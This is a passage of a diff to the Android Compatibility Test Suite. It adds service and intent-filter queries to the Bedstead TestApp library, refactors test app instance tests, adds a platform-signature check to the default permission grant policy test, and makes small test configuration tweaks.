+ .intentFilters(intentFilterSetFromProtoList(
+ serviceEntry.getIntentFiltersList()))
.build());
}
mTestApps.add(details);
}
+ private Set<IntentFilter> intentFilterSetFromProtoList(
+ List<TestappProtos.IntentFilter> list) {
+ Set<IntentFilter> filterInfoSet = new HashSet<>();
+
+ for (TestappProtos.IntentFilter filter : list) {
+ IntentFilter filterInfo = intentFilterFromProto(filter);
+ filterInfoSet.add(filterInfo);
+ }
+
+ return filterInfoSet;
+ }
+
+ private IntentFilter intentFilterFromProto(TestappProtos.IntentFilter filterProto) {
+ IntentFilter filter = new IntentFilter();
+
+ for (String action : filterProto.getActionsList()) {
+ filter.addAction(action);
+ }
+ for (String category : filterProto.getCategoriesList()) {
+ filter.addCategory(category);
+ }
+
+ return filter;
+ }
+
private String getApkNameWithoutSuffix(String apkName) {
return apkName.split("\\.", 2)[0];
}
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
index 820f9a0..6699a6d 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
@@ -18,6 +18,7 @@
import com.android.queryable.Queryable;
import com.android.queryable.info.ActivityInfo;
+import com.android.queryable.info.ServiceInfo;
import com.android.queryable.queries.ActivityQuery;
import com.android.queryable.queries.BooleanQuery;
import com.android.queryable.queries.BooleanQueryHelper;
@@ -25,14 +26,12 @@
import com.android.queryable.queries.BundleQueryHelper;
import com.android.queryable.queries.IntegerQuery;
import com.android.queryable.queries.IntegerQueryHelper;
+import com.android.queryable.queries.ServiceQuery;
import com.android.queryable.queries.SetQuery;
import com.android.queryable.queries.SetQueryHelper;
import com.android.queryable.queries.StringQuery;
import com.android.queryable.queries.StringQueryHelper;
-import java.util.ArrayList;
-import java.util.List;
-
/** Builder for progressively building {@link TestApp} queries. */
public final class TestAppQueryBuilder implements Queryable {
private final TestAppProvider mProvider;
@@ -47,6 +46,8 @@
BooleanQueryHelper<TestAppQueryBuilder> mTestOnly = new BooleanQueryHelper<>(this);
SetQueryHelper<TestAppQueryBuilder, ActivityInfo, ActivityQuery<?>> mActivities =
new SetQueryHelper<>(this);
+ SetQueryHelper<TestAppQueryBuilder, ServiceInfo, ServiceQuery<?>> mServices =
+ new SetQueryHelper<>(this);
TestAppQueryBuilder(TestAppProvider provider) {
if (provider == null) {
@@ -109,12 +110,18 @@
}
/**
- * Query for a {@link TestApp} by the testOnly attribute.
+ * Query for a {@link TestApp} by its activities.
*/
public SetQuery<TestAppQueryBuilder, ActivityInfo, ActivityQuery<?>> whereActivities() {
return mActivities;
}
+ /**
+ * Query for a {@link TestApp} by its services.
+ */
+ public SetQuery<TestAppQueryBuilder, ServiceInfo, ServiceQuery<?>> whereServices() {
+ return mServices;
+ }
/**
* Get the {@link TestApp} matching the query.
@@ -167,6 +174,10 @@
return false;
}
+ if (!SetQueryHelper.matches(mServices, details.mServices)) {
+ return false;
+ }
+
if (!SetQueryHelper.matches(mPermissions, details.mPermissions)) {
return false;
}
@@ -194,6 +205,7 @@
mMaxSdkVersion.describeQuery("maxSdkVersion"),
mTargetSdkVersion.describeQuery("targetSdkVersion"),
mActivities.describeQuery("activities"),
+ mServices.describeQuery("services"),
mPermissions.describeQuery("permissions"),
mTestOnly.describeQuery("testOnly")
) + "}";
diff --git a/common/device-side/bedstead/testapp/src/library/main/proto/testapp_protos.proto b/common/device-side/bedstead/testapp/src/library/main/proto/testapp_protos.proto
index 583eb72..80b13ec 100644
--- a/common/device-side/bedstead/testapp/src/library/main/proto/testapp_protos.proto
+++ b/common/device-side/bedstead/testapp/src/library/main/proto/testapp_protos.proto
@@ -34,16 +34,14 @@
}
message IntentFilter {
- repeated Action actions = 1;
-}
-
-message Action {
- string name = 1;
+ repeated string actions = 1;
+ repeated string categories = 2;
}
message Service {
string name = 1;
bool exported = 2;
+ repeated IntentFilter intent_filters = 3;
}
message Metadata {
diff --git a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
index 57d2f30..4ff1c6e 100644
--- a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
+++ b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
@@ -187,7 +187,6 @@
extractClassesFromAnnotation(
processingEnv.getTypeUtils(), testAppReceiver::systemServiceClasses);
-
generateTargetedRemoteActivityInterface(neneActivityInterface);
generateTargetedRemoteActivityImpl(neneActivityInterface);
generateTargetedRemoteActivityWrapper(neneActivityInterface);
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java
index 2e21db8..bbfc2f4 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java
@@ -19,14 +19,13 @@
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-import static com.google.common.truth.Truth.assertThat;
+import static com.android.eventlib.truth.EventLogsSubject.assertThat;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import com.android.bedstead.nene.TestApis;
-import com.android.eventlib.EventLogs;
import com.android.eventlib.events.activities.ActivityCreatedEvent;
import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
@@ -63,11 +62,9 @@
intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
sContext.startActivity(intent);
- EventLogs<ActivityCreatedEvent> eventLogs =
- ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+ assertThat(ActivityCreatedEvent.queryPackage(sContext.getPackageName())
.whereActivity().activityClass().className()
- .isEqualTo(DECLARED_ACTIVITY_WITH_NO_CLASS);
- assertThat(eventLogs.poll()).isNotNull();
+ .isEqualTo(DECLARED_ACTIVITY_WITH_NO_CLASS)).eventOccurred();
}
@Test
@@ -77,10 +74,9 @@
sContext.sendBroadcast(intent);
- EventLogs<BroadcastReceivedEvent> eventLogs = BroadcastReceivedEvent
+ assertThat(BroadcastReceivedEvent
.queryPackage(sContext.getPackageName())
.whereBroadcastReceiver().receiverClass().className()
- .isEqualTo(GENERATED_RECEIVER_CLASS_NAME);
- assertThat(eventLogs.poll()).isNotNull();
+ .isEqualTo(GENERATED_RECEIVER_CLASS_NAME)).eventOccurred();
}
}
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
index 2834a5d..c90cc45 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
@@ -39,7 +39,6 @@
import com.android.eventlib.EventLogs;
import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
-import org.junit.Before;
import org.junit.ClassRule;
import org.junit.Ignore;
import org.junit.Rule;
@@ -57,6 +56,12 @@
private static final Context sContext = TestApis.context().instrumentedContext();
private static final UserReference sUser = TestApis.users().instrumented();
+
+ private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+ private static final TestApp sTestApp = sTestAppProvider.query()
+ .whereActivities().isNotEmpty()
+ .get();
+
private static final String INTENT_ACTION = "com.android.bedstead.testapp.test_action";
private static final IntentFilter INTENT_FILTER = new IntentFilter(INTENT_ACTION);
private static final Intent INTENT = new Intent(INTENT_ACTION);
@@ -66,74 +71,63 @@
private static final Duration SHORT_TIMEOUT = Duration.ofSeconds(5);
private TestAppProvider mTestAppProvider;
- @Before
- public void setup() {
- mTestAppProvider = new TestAppProvider();
- }
-
@Test
public void user_returnsUserReference() {
- TestApp testApp = mTestAppProvider.any();
- TestAppInstanceReference testAppInstance = testApp.instance(sUser);
+ TestAppInstanceReference testAppInstance = sTestApp.instance(sUser);
assertThat(testAppInstance.user()).isEqualTo(sUser);
}
@Test
public void testApp_returnsTestApp() {
- TestApp testApp = mTestAppProvider.any();
- TestAppInstanceReference testAppInstance = testApp.instance(sUser);
+ TestAppInstanceReference testAppInstance = sTestApp.instance(sUser);
- assertThat(testAppInstance.testApp()).isEqualTo(testApp);
+ assertThat(testAppInstance.testApp()).isEqualTo(sTestApp);
}
@Test
public void activities_any_returnsActivity() {
- TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
assertThat(testAppInstance.activities().any()).isNotNull();
}
}
@Test
public void uninstall_uninstalls() {
- TestApp testApp = mTestAppProvider.any();
- TestAppInstanceReference testAppInstance = testApp.install(sUser);
+ TestAppInstanceReference testAppInstance = sTestApp.install(sUser);
testAppInstance.uninstall();
- assertThat(TestApis.packages().find(testApp.packageName())
+ assertThat(TestApis.packages().find(sTestApp.packageName())
.installedOnUser(sUser)).isFalse();
}
@Test
public void autoclose_uninstalls() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
// Intentionally empty
}
- assertThat(TestApis.packages().find(testApp.packageName())
+ assertThat(TestApis.packages().find(sTestApp.packageName())
.installedOnUser(sUser)).isFalse();
}
@Test
public void keepAlive_notInstalled_throwsException() {
- TestApp testApp = mTestAppProvider.any();
- TestAppInstanceReference testAppInstance = testApp.instance(sUser);
+ TestAppInstanceReference testAppInstance = sTestApp.instance(sUser);
assertThrows(IllegalStateException.class, testAppInstance::keepAlive);
}
@Test
+ @Ignore("b/203758521 Need to re-add support for killing processes")
public void killProcess_keepAlive_processIsRunningAgain() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
testAppInstance.keepAlive();
- testAppInstance.process().kill();
+// testAppInstance.process().kill();
- Poll.forValue("running process", () -> testApp.pkg().runningProcess(sUser))
+ Poll.forValue("running process", () -> sTestApp.pkg().runningProcess(sUser))
.toNotBeNull()
.errorOnFail()
.await();
@@ -144,42 +138,40 @@
// unbounded amount of time
@Test
+ @Ignore("b/203758521 need to re-add support for killing processes")
public void stop_processIsNotRunning() {
- TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
testAppInstance.activities().any().start();
- testAppInstance.stop();
+// testAppInstance.stop();
- assertThat(testApp.pkg().runningProcesses()).isEmpty();
+ assertThat(sTestApp.pkg().runningProcesses()).isEmpty();
}
}
@Test
+ @Ignore("b/203758521 need to re-add support for killing processes")
public void stop_previouslyCalledKeepAlive_processDoesNotRestart() {
- TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
testAppInstance.activities().any().start();
testAppInstance.keepAlive();
- testAppInstance.stop();
+// testAppInstance.stop();
- assertThat(testApp.pkg().runningProcesses()).isEmpty();
+ assertThat(sTestApp.pkg().runningProcesses()).isEmpty();
}
}
@Test
public void process_isNotRunning_returnsNull() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
assertThat(testAppInstance.process()).isNull();
}
}
@Test
public void process_isRunning_isNotNull() {
- TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
testAppInstance.activities().any().start();
Poll.forValue("TestApp process", testAppInstance::process)
@@ -191,8 +183,7 @@
@Test
public void registerReceiver_receivesBroadcast() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
sContext.sendBroadcast(INTENT);
@@ -205,8 +196,7 @@
@Test
public void registerReceiver_multipleIntentFilters_receivesAllMatchingBroadcasts() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
testAppInstance.registerReceiver(INTENT_FILTER_2);
@@ -224,26 +214,25 @@
@Test
public void registerReceiver_processIsRunning() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
- assertThat(testApp.pkg().runningProcess(sUser)).isNotNull();
+ assertThat(sTestApp.pkg().runningProcess(sUser)).isNotNull();
}
}
@Test
+ @Ignore("b/203758521 need to re-add support for killing processes")
public void stop_registeredReceiver_doesNotReceiveBroadcast() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
- testAppInstance.stop();
+// testAppInstance.stop();
sContext.sendBroadcast(INTENT);
EventLogs<BroadcastReceivedEvent> logs =
- BroadcastReceivedEvent.queryPackage(testApp.packageName())
+ BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
.whereIntent().action().isEqualTo(INTENT_ACTION);
assertThat(logs.poll(SHORT_TIMEOUT)).isNull();
}
@@ -251,15 +240,14 @@
@Test
public void unregisterReceiver_registeredReceiver_doesNotReceiveBroadcast() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
testAppInstance.unregisterReceiver(INTENT_FILTER);
sContext.sendBroadcast(INTENT);
EventLogs<BroadcastReceivedEvent> logs =
- BroadcastReceivedEvent.queryPackage(testApp.packageName())
+ BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
.whereIntent().action().isEqualTo(INTENT_ACTION);
assertThat(logs.poll(SHORT_TIMEOUT)).isNull();
}
@@ -267,8 +255,7 @@
@Test
public void unregisterReceiver_doesNotUnregisterOtherReceivers() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
testAppInstance.registerReceiver(INTENT_FILTER_2);
@@ -277,10 +264,10 @@
sContext.sendBroadcast(INTENT_2);
EventLogs<BroadcastReceivedEvent> logs =
- BroadcastReceivedEvent.queryPackage(testApp.packageName())
+ BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
.whereIntent().action().isEqualTo(INTENT_ACTION);
EventLogs<BroadcastReceivedEvent> logs2 =
- BroadcastReceivedEvent.queryPackage(testApp.packageName())
+ BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
.whereIntent().action().isEqualTo(INTENT_ACTION_2);
assertThat(logs.poll(SHORT_TIMEOUT)).isNull();
assertThat(logs2.poll()).isNotNull();
@@ -289,23 +276,21 @@
@Test
public void keepAlive_processIsRunning() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
testAppInstance.keepAlive();
- assertThat(testApp.pkg().runningProcess(sUser)).isNotNull();
+ assertThat(sTestApp.pkg().runningProcess(sUser)).isNotNull();
}
}
@Test
- @Ignore("b/195626250 Disabled until logging surviving reboots is restored")
+ @Ignore("b/203758521 need to re-add support for killing processes")
public void registerReceiver_appIsKilled_stillReceivesBroadcast() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
- testApp.pkg().runningProcess(sUser).kill();
- Poll.forValue("running process", () -> testApp.pkg().runningProcess(sUser))
+// testApp.pkg().runningProcess(sUser).kill();
+ Poll.forValue("running process", () -> sTestApp.pkg().runningProcess(sUser))
.toNotBeNull()
.errorOnFail()
.await();
@@ -313,7 +298,7 @@
sContext.sendBroadcast(INTENT);
EventLogs<BroadcastReceivedEvent> logs =
- BroadcastReceivedEvent.queryPackage(testApp.packageName())
+ BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
.whereIntent().action().isEqualTo(INTENT_ACTION);
assertThat(logs.poll()).isNotNull();
}
@@ -322,8 +307,7 @@
@Test
@RequireSdkVersion(min = S, reason = "isSafeOperation only available on S+")
public void devicePolicyManager_returnsUsableInstance() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
// Arbitrary call which does not require specific permissions to confirm no crash
testAppInstance.devicePolicyManager()
.isSafeOperation(OPERATION_SAFETY_REASON_DRIVING_DISTRACTION);
@@ -332,8 +316,7 @@
@Test
public void userManager_returnsUsableInstance() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
// Arbitrary call which does not require specific permissions to confirm no crash
testAppInstance.userManager().getUserProfiles();
}
@@ -342,8 +325,7 @@
@Test
@RequireSdkVersion(min = Q, reason = "Wifimanager API only available on Q+")
public void wifiManager_returnsUsableInstance() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
// Arbitrary call which does not require specific permissions to confirm no crash
testAppInstance.wifiManager().getMaxNumberOfNetworkSuggestionsPerApp();
}
@@ -351,8 +333,7 @@
@Test
public void hardwarePropertiesManager_returnsUsableInstance() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
// Arbitrary call - there are no methods on this service which don't require permissions
assertThrows(SecurityException.class, () -> {
testAppInstance.hardwarePropertiesManager().getCpuUsages();
@@ -362,25 +343,30 @@
@Test
public void packageManager_returnsUsableInstance() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
assertThat(testAppInstance.packageManager().hasSystemFeature("")).isFalse();
}
}
@Test
public void crossProfileApps_returnsUsableInstance() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
assertThat(testAppInstance.crossProfileApps().getTargetUserProfiles()).isEmpty();
}
}
@Test
public void launcherApps_returnsUsableInstance() {
- TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
assertThat(testAppInstance.launcherApps().hasShortcutHostPermission()).isFalse();
}
}
+
+ @Test
+ public void accountManager_returnsUsableInstance() {
+ try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ // Arbitrary call which does not require specific permissions to confirm no crash
+ assertThat(testAppInstance.accountManager().getAccounts()).isNotNull();
+ }
+ }
}
diff --git a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
index 7e138e6..98cb277 100644
--- a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
@@ -16,6 +16,7 @@
package com.android.bedstead.testapp;
+import android.accounts.AccountManager;
import android.app.Activity;
import android.app.AppComponentFactory;
import android.app.Service;
@@ -43,7 +44,8 @@
WifiManager.class,
PackageManager.class,
CrossProfileApps.class,
- LauncherApps.class
+ LauncherApps.class,
+ AccountManager.class
}
)public final class TestAppAppComponentFactory extends AppComponentFactory {
diff --git a/common/device-side/bedstead/testapp/tools/index/index_testapps.py b/common/device-side/bedstead/testapp/tools/index/index_testapps.py
index 0a8f1c9..b4aee78 100644
--- a/common/device-side/bedstead/testapp/tools/index/index_testapps.py
+++ b/common/device-side/bedstead/testapp/tools/index/index_testapps.py
@@ -17,7 +17,7 @@
import subprocess
import queue
from src.library.main.proto.testapp_protos_pb2 import TestAppIndex, AndroidApp, UsesSdk,\
- Permission, Activity, IntentFilter, Action, Service, Metadata
+ Permission, Activity, IntentFilter, Service, Metadata
ELEMENT = "E"
ATTRIBUTE = "A"
@@ -184,22 +184,29 @@
parse_intent_filters(activity_element, activity)
android_app.activities.append(activity)
-def parse_intent_filters(activity_element, activity):
- for intent_filter_element in find_elements(activity_element.children, "intent-filter"):
+def parse_intent_filters(element, parent):
+ for intent_filter_element in find_elements(element.children, "intent-filter"):
intent_filter = IntentFilter()
+
parse_intent_filter_actions(intent_filter_element, intent_filter)
- activity.intent_filters.append(intent_filter)
+ parse_intent_filter_category(intent_filter_element, intent_filter)
+ parent.intent_filters.append(intent_filter)
def parse_intent_filter_actions(intent_filter_element, intent_filter):
for action_element in find_elements(intent_filter_element.children, "action"):
- action = Action()
- action.name = action_element.attributes["name"]
+ action = action_element.attributes["name"]
intent_filter.actions.append(action)
+def parse_intent_filter_category(intent_filter_element, intent_filter):
+ for category_element in find_elements(intent_filter_element.children, "category"):
+ category = category_element.attributes["name"]
+ intent_filter.categories.append(category)
+
def parse_services(application_element, android_app):
for service_element in find_elements(application_element.children, "service"):
service = Service()
service.name = service_element.attributes["name"]
+ parse_intent_filters(service_element, service)
android_app.services.append(service)
def parse_metadata(application_element, android_app):
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
index ee33f42..49208b1 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -312,7 +312,7 @@
public void addException(DefaultPermissionGrantException exception,
Set<String> runtimePermNames, Map<String, PackageInfo> packageInfos,
- SparseArray<UidState> outUidStates) {
+ Set<String> platformSignedPackages, SparseArray<UidState> outUidStates) {
Log.v(LOG_TAG, "Adding exception for company " + exception.company
+ ". Metadata: " + exception.metadata);
String packageName = exception.pkg;
@@ -356,9 +356,12 @@
return;
}
} else {
- Log.w(LOG_TAG, "Attribute sha256-cert-digest or brand must be provided for package: "
- + packageName);
- return;
+ if (!platformSignedPackages.contains(packageName)) {
+ String packageDigest = computePackageCertDigest(packageInfo.signatures[0]);
+ Log.w(LOG_TAG, "Package is not signed with the platform certificate: " + packageName
+ + ". Package signature: " + packageDigest.toUpperCase());
+ return;
+ }
}
List<String> requestedPermissions = Arrays.asList(packageInfo.requestedPermissions);
@@ -432,14 +435,29 @@
// Only use exceptions from business logic if they've been added
if (!mRemoteExceptions.isEmpty()) {
Log.d(LOG_TAG, String.format("Found %d remote exceptions", mRemoteExceptions.size()));
+ Set<String> platformSignedPackages = getPlatformSignedPackages(packageInfos);
for (DefaultPermissionGrantException dpge : mRemoteExceptions) {
- addException(dpge, runtimePermNames, packageInfos, outUidStates);
+ addException(dpge, runtimePermNames, packageInfos, platformSignedPackages,
+ outUidStates);
}
} else {
Log.w(LOG_TAG, "Failed to retrieve remote default permission grant exceptions.");
}
}
+ private Set<String> getPlatformSignedPackages(Map<String, PackageInfo> packageInfos) {
+ Set<String> platformSignedPackages = new ArraySet<>();
+ PackageManager pm = getInstrumentation().getContext().getPackageManager();
+ for (PackageInfo pkg : packageInfos.values()) {
+ boolean isPlatformSigned = pm.checkSignatures(pkg.packageName, PLATFORM_PACKAGE_NAME)
+ == PackageManager.SIGNATURE_MATCH;
+ if (isPlatformSigned) {
+ platformSignedPackages.add(pkg.packageName);
+ }
+ }
+ return platformSignedPackages;
+ }
+
// Permissions split from non dangerous permissions
private void addSplitFromNonDangerousPermissions(Map<String, PackageInfo> packageInfos,
@@ -785,7 +803,7 @@
public Map<String, Boolean> permissions = new HashMap<>();
public boolean hasNonBrandSha256() {
- return sha256 != null && !hasBrand;
+ return !sha256.isEmpty() && !hasBrand;
}
public DefaultPermissionGrantException(String pkg, String sha256,
@@ -800,7 +818,7 @@
this.metadata = metadata;
this.pkg = pkg;
this.sha256 = sha256;
- if (!sha256.contains(":")) {
+ if (!sha256.isEmpty() && !sha256.contains(":")) {
hasBrand = true; // rough approximation of brand vs. SHA256 hash
}
this.permissions = permissions;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
index b06092c..6da0176 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
@@ -1 +1 @@
-per-file BaseDefaultPermissionGrantPolicyTest.java = eugenesusla@google.com, moltmann@google.com, svetoslavganov@google.com
+per-file BaseDefaultPermissionGrantPolicyTest.java = ewol@google.com, narayan@google.com, svetoslavganov@google.com
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java
index d296229..0af958e 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java
@@ -105,10 +105,10 @@
assertTrue("timed out waiting for timezone change broadcast",
latch.await(TIMEOUT_SEC, TimeUnit.SECONDS));
- // There might be a delay in timezone setting propagation, so we retry for 5 seconds.
+ // There might be a delay in timezone setting propagation, so we retry for 10 seconds.
int retries = 0;
while (!testTimeZone.equals(TimeZone.getDefault().getID())) {
- if (retries++ > 5) {
+ if (retries++ > 10) {
fail("timezone wasn't updated");
}
Thread.sleep(1000);
diff --git a/hostsidetests/incrementalinstall/AndroidTest.xml b/hostsidetests/incrementalinstall/AndroidTest.xml
index 68b3b56..4721e7a 100644
--- a/hostsidetests/incrementalinstall/AndroidTest.xml
+++ b/hostsidetests/incrementalinstall/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true"/>
diff --git a/hostsidetests/install/Android.bp b/hostsidetests/install/Android.bp
index f90d764..150a760 100644
--- a/hostsidetests/install/Android.bp
+++ b/hostsidetests/install/Android.bp
@@ -21,6 +21,7 @@
defaults: ["cts_defaults"],
srcs: ["src/**/*.java"],
libs: [
+ "compatibility-host-util",
"cts-tradefed",
"cts-shim-host-lib",
"tradefed",
diff --git a/hostsidetests/install/AndroidTest.xml b/hostsidetests/install/AndroidTest.xml
index 35073c7..1eae5f6 100644
--- a/hostsidetests/install/AndroidTest.xml
+++ b/hostsidetests/install/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<!-- TODO(b/137885984): Revisit secondary user eligibility once the issue is resolved. -->
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="InstallTest.apk" />
diff --git a/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java b/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
index 9e7743a..21bb9c5 100644
--- a/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
+++ b/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
@@ -17,6 +17,8 @@
package android.cts.install.host;
import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IAbi;
